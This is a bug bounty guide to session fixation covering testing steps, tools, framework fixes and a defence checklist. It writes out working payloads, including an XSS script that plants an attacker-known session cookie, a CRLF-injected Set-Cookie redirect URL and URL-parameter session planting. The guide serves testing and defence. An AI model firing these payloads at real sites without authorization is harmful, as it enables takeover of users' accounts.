Session Fixation —
Complete Bug Bounty Guide 2026
Session Fixation lets an attacker take over a victim’s account without knowing their password — by pre-planting a known session ID before the victim logs in. The fix is one line of code, but the impact is full account takeover.
- What is Session Fixation?
- Fixation vs Hijacking — Key Difference
- 6 Types of Session Fixation
- Quick Reference Table
- The Critical Test — Before vs After Login
- Manual Testing — Step by Step
- Tools & Automation
- Burp Suite Guide
- Advanced Techniques
- Framework Fix Reference
- Real Bug Chains
- Defense & Secure Coding
- Key Takeaways
🔍 What is Session Fixation?
Session Fixation is an attack where the attacker forces the victim to use a session ID that the attacker already knows. After the victim authenticates using that pre-set session ID, the attacker can make authenticated requests using the same ID — gaining full access to the victim’s account without ever knowing their password.
Session Fixation — attacker plants session ID → victim authenticates with it → attacker gains full access
Session Fixation works because the server keeps using the same session ID before and after authentication. The attacker plants a session ID they know, waits for the victim to login using it, then walks in with that same ID. The fix is a single line of code: regenerate the session ID immediately after every login.
Session Fixation — Attack Flow
⚔️ Session Fixation vs Session Hijacking
Session Hijacking: Attacker STEALS a session ID that the server already issued AFTER the victim authenticates. The attacker intercepts an existing valid token.
Session Fixation: Attacker PLANTS a session ID BEFORE the victim authenticates. The attacker already knows the session ID — they put it there themselves.
⚡ 6 Types of Session Fixation
/login?PHPSESSID=attacker_id. PHP historically accepted GET session IDs by default.document.cookie to attacker session ID. Requires missing HttpOnly flag.%0d%0a Set-Cookie: via CRLF in redirect URL to force session cookie on victim.sub.target.com → set cookie with domain=.target.com → affects all subdomains.📊 Session Fixation — Quick Reference Table
| Field | Details |
|---|---|
| Vulnerability | Session Fixation |
| Also Known As | Session ID Fixation, Forced Session, Session Riding, CWE-384 |
| OWASP | A07:2021 — Identification and Authentication Failures |
| CWE | CWE-384: Session Fixation |
| CVE Score | 6.5 – 8.8 |
| Severity | High (Critical when chained with XSS or subdomain takeover) |
| Root Cause | session_regenerate_id(true) not called on login; app accepts session from URL; missing HttpOnly |
| Where to Check | /login, OAuth callbacks, password reset, 2FA completion, logout endpoint |
| Best Tools | Burp Suite, curl, Python requests, browser DevTools |
| Practice Labs | PortSwigger Authentication Labs, OWASP WebGoat, HackTheBox, TryHackMe |
| Difficulty | Intermediate — requires understanding of session lifecycle |
| The One Fix | session_regenerate_id(true) or req.session.regenerate() immediately after every login |
| Related Vulns | Insecure Logout, Authentication Bypass, Cross-Site Scripting (XSS) |
🧪 The Critical Test — Session ID Before vs After Login
Session ID BEFORE login MUST NOT EQUAL session ID AFTER login. If they are the same, Session Fixation is confirmed. This is the foundation of every Session Fixation test.
# Step 1: Browse to login page → note session ID GET /login HTTP/1.1 # Response: Set-Cookie: PHPSESSID=PRE_AUTH_ABC123; Path=/ # Step 2: Login with valid credentials (using that session) POST /login HTTP/1.1 Cookie: PHPSESSID=PRE_AUTH_ABC123 email=test@test.com&password=correct_password # Step 3: Check response Set-Cookie after login # SECURE: Set-Cookie: PHPSESSID=NEW_XYZ789 ← DIFFERENT = safe # VULNERABLE: Set-Cookie: PHPSESSID=PRE_AUTH_ABC123 ← SAME = FIXATION! # Step 4: Confirm — use PRE_AUTH session in new browser GET /api/me HTTP/1.1 Cookie: PHPSESSID=PRE_AUTH_ABC123 # 200 OK with victim data = CONFIRMED Session Fixation
🧠 Manual Testing for Session Fixation
Phase 1 — Core Session Regeneration Test
GET /api/me. If 200 OK with victim data → confirmed full Session Fixation.Phase 2 — URL Parameter Fixation Test
# Test if app accepts session ID from URL query string https://target.com/login?PHPSESSID=ATTACKER_CHOSEN_ID https://target.com/login?sessionid=ATTACKER_CHOSEN_ID https://target.com/login?session_id=ATTACKER_CHOSEN_ID https://target.com/login?sess=ATTACKER_CHOSEN_ID # Step 1: Visit above URL # Step 2: Check response cookie — did server use attacker ID? Set-Cookie: PHPSESSID=ATTACKER_CHOSEN_ID ← app accepted it! # Step 3: Login on that page with valid credentials # Step 4: Check if session ID still matches ATTACKER_CHOSEN_ID # Step 5: From new browser, access authenticated endpoint: curl -H "Cookie: PHPSESSID=ATTACKER_CHOSEN_ID" https://target.com/api/me # 200 OK = URL-based Session Fixation confirmed
Phase 3 — Cookie Security Flags Audit
# Check all session cookies for missing security flags curl -I https://target.com/login # Missing HttpOnly → XSS can read/set cookie → enables fixation chain Set-Cookie: session=ABC123; Path=/ ← ALL flags missing! # Partial (still vulnerable to MITM and CSRF) Set-Cookie: session=ABC123; Path=/; HttpOnly # Fully secure Set-Cookie: session=ABC123; Path=/; HttpOnly; Secure; SameSite=Strict # Also check via Browser DevTools: # F12 → Application → Cookies → HttpOnly column should be ✓
Phase 4 — Test All Authentication Events
# 1. Standard login — must regenerate Pre-login session S1 → Login → Post-login session S2 → S1 ≠ S2? # 2. OAuth/SSO callback — must regenerate GET /oauth/callback?code=AUTH_CODE Session before redirect vs after callback — must differ # 3. Password reset completion — must regenerate POST /api/password/reset/confirm {token: "..."} Session before reset vs after — must differ # 4. 2FA completion — must regenerate POST /api/auth/mfa/verify {otp: "123456"} Session after password step vs after OTP — must differ # 5. Logout — must invalidate old session POST /api/logout curl -H "Cookie: session=OLD_SESSION" https://target.com/api/me # Must return 401 — old session should be dead
🤖 Tools for Session Fixation Testing
HTTP History → compare login request/response cookies
curl -c pre.txt URL ; curl -b pre.txt -c post.txt /login
requests.Session() → compare cookies before/after auth
F12 → Application → Cookies → check all flags
Active Scan → Session Management alerts
Filter: http.cookie contains "session"
🔥 Burp Suite — Session Fixation Guide
💣 Advanced Session Fixation Techniques
XSS + Session Fixation → Critical Chain
# Requires: XSS vulnerability + HttpOnly NOT set on session cookie # Inject this payload where XSS exists on target.com: <script> // Set attacker's known session ID as victim's session cookie document.cookie = 'session=ATTACKER_KNOWN_ID; path=/; domain=.target.com'; // Redirect victim to login page window.location = 'https://target.com/login'; </script> # What happens: # 1. Victim visits XSS page → script fires # 2. Victim's session cookie is now ATTACKER_KNOWN_ID # 3. Victim logs in using that cookie # 4. Attacker requests /api/me with ATTACKER_KNOWN_ID → full access # Prevention: Set HttpOnly on all session cookies # HttpOnly prevents JavaScript from reading/writing the cookie
Subdomain Cookie Fixation
# If attacker controls any subdomain of target.com # They can set cookies for the entire .target.com domain # Attacker's server at: evil.target.com or old.target.com # Response header from attacker subdomain: Set-Cookie: session=ATTACKER_ID; Domain=.target.com; Path=/ # Victim visits evil.target.com (via phishing/redirect) # Cookie is now set for ALL of target.com # Victim logs in at target.com → attacker uses ATTACKER_ID # Prevention: Set cookie Domain= to exact hostname, not wildcard Set-Cookie: session=ID; Domain=target.com ← no leading dot
CRLF Injection → Session Fixation
# Find a redirect parameter that reflects in Location header GET /redirect?url=https://safe.com # Inject CRLF to add Set-Cookie header: GET /redirect?url=https://safe.com%0d%0aSet-Cookie:+session=ATTACKER_ID # Vulnerable server responds: HTTP/1.1 302 Found Location: https://safe.com Set-Cookie: session=ATTACKER_ID ← injected via CRLF! # Test: add %0d%0a (URL-encoded CRLF) + Set-Cookie to any redirect URL # Fix: sanitize redirect parameters; reject %0d and %0a characters
🛠️ Framework Secure Fix Reference
| Framework | Vulnerable Pattern | Secure Fix |
|---|---|---|
| PHP | session_start(); // no regeneration | session_regenerate_id(true); // after login |
| Node/Express | req.session.userId = user.id; | req.session.regenerate(cb); // then set user |
| Django | Verify SESSION_COOKIE_SECURE = True | auth.login(request, user); // auto-regenerates |
| Spring Boot | No session config → default reuse | session-fixation-protection: new-session |
| Laravel | Auth::login($user); | session()->regenerate(true); // after login() |
| Rails | session[:user_id] = user.id; | reset_session; session[:user_id] = user.id; |
| Flask | session[‘user’] = user_id; | session.clear(); session[‘user’] = user_id; |
🔗 Real Session Fixation Bug Chains
🛡️ Defense Against Session Fixation
Regenerate the session ID immediately after every authentication event. This single action makes every session fixation attack useless — the attacker’s planted session ID is invalidated the moment the victim logs in.
// PHP — The most common fix function loginUser($email, $password) { $user = authenticate($email, $password); if ($user) { session_regenerate_id(true); // ← THE FIX — true deletes old session $_SESSION['user_id'] = $user['id']; $_SESSION['role'] = $user['role']; return true; } return false; } // Node.js / Express app.post('/login', async (req, res) => { const user = await authenticate(req.body.email, req.body.password); if (user) { req.session.regenerate((err) => { // ← THE FIX req.session.userId = user.id; res.json({ success: true }); }); } }); // Secure cookie configuration (all frameworks) Set-Cookie: session=ID; HttpOnly; Secure; SameSite=Strict; Path=/
☑ Regenerate session ID immediately after every successful login
☑ Regenerate on OAuth callback, password reset, and 2FA completion
☑ NEVER accept session IDs from URL GET parameters
☑ Set HttpOnly flag on all session cookies — prevents XSS fixation
☑ Set Secure flag — prevents transmission over HTTP
☑ Set SameSite=Strict — prevents CSRF-based session fixation
☑ Invalidate old session server-side on logout
☑ Set cookie Domain= to exact hostname (not .target.com wildcard)
☑ Implement idle session timeout (15–30 min for sensitive apps)
🔗 PortSwigger — Authentication and Session Labs
🔗 OWASP — Session Fixation Attack Reference
🔗 OWASP Session Management Cheat Sheet
🔗 CWE-384: Session Fixation — MITRE
📖 Insecure Logout — Complete Bug Bounty Guide
📖 Authentication Bypass Guide
📖 Cross-Site Scripting (XSS) Guide
📖 Vertical Privilege Escalation Guide
🧠 Key Takeaways — Session Fixation
- Session Fixation = attacker plants a known session ID BEFORE login; fixation is distinct from hijacking (which steals after login)
- The golden test: session ID BEFORE login must NOT equal session ID AFTER login
- Test ALL authentication events — login, OAuth, password reset, 2FA completion, logout
- Test if app accepts session ID from URL parameters (?PHPSESSID=, ?sessionid=)
- Missing HttpOnly flag enables XSS-based fixation — always check cookie flags
- Missing Secure flag enables MITM fixation — cookie sent over HTTP
- XSS + Session Fixation = Critical chain — highest impact, test this combination
- Cookie domain=.target.com (wildcard) is dangerous if subdomains can be compromised
- The fix is one line of code — session_regenerate_id(true) — but impact without it is High
- Three-step PoC: (1) pre-auth session S1, (2) login shows S1 in post-auth response, (3) S1 grants authenticated access in separate browser
A researcher found that a major e-commerce platform reused session IDs across login. Pre-auth session S1 sent to victim via phishing link → victim logged in → attacker used S1 → full account access including saved payment methods and order history. Fix: one call to session_regenerate_id(true). Bounty paid: $6,500.

